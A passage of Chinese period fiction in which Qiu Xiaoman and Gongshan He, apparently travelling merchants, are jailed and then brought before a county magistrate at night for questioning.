秋萧曼正是此意,他又朝卫光房间瞅了眼,问:“那日离月被你藏哪了?” 毕竟前日一大早,若没碰上小二,秋萧曼是要进屋查看的。卫光定是将他藏在了别人发现不了的位置,才敢下楼去看着驿卒修马车。 “有副落地的山水画,后面的墙板内是空的。” 秋萧曼点头,趁着这会官府的人还没上来,她同公山贺一起护着卫光返回了房间。 ^ 长这么大,还是第一次坐牢。 坐在公山贺旁边的秋萧曼只觉得处境艰难,一个字都不想说。但好歹是公山贺,从小陪她一起长大的人,比这更狼狈的模样也见到过。 这么安慰自己,秋萧曼眼睛适应了黑暗,逐渐睁开。 公山贺正在打坐,呼吸声都轻飘飘的。 “这么半天,参悟到哪个境界了?”秋萧曼侧脸看他,听不出是开玩笑还是强壮镇定。 公山贺像模像样地抬手又落下,将气息调稳,才睁眼对秋萧曼说:“这一次必定有惊无险。” 听他拙劣的安慰,秋萧曼生硬地扯扯嘴角,给足了公山贺面子。 可实际上,她哪笑得出来,梦魇里的血流成河和残垣断壁仿佛印在她脑袋里一样,让她闭眼的勇气都没有。 黑漆漆的牢房里没有窗,也不知这会是白天还是黑夜。 秋萧曼也不觉疲惫,就只看着县衙的人依次带走牢房的官吏去审问,有的放了出去,有的又被带回来。 这时的等待最折磨人,好在他们只是地位不高的游商,县令优先审问的都是那些官吏。待到小吏来唤他们去受审时,那些认得他们的武将也都已经被放走了。 两人跟着小吏走过弯弯绕绕的长廊,又上了台阶,才终于走出一扇拴着粗重链条的铁门,皎洁的月光刚好铺在门前的台阶上,也把他们穿过的院子照得清晰。 但这点柔弱的光和庭院尽头那栋单层建筑里点满的刺眼烛火相比,着实微不足道。 盈月当空,显然已过了子时。 大堂内依旧站了满满当当的人,站在两侧的小吏不同程度的表现出一副困倦的面貌,但碍于坐在堂中那个衣冠楚楚的青年,无人敢露出一丝懈怠。 就连打哈欠都是咬着牙完成的。 秋萧曼随着小吏走进大堂,规规矩矩给县令行礼,却不知他看向自己的目光中满是质疑。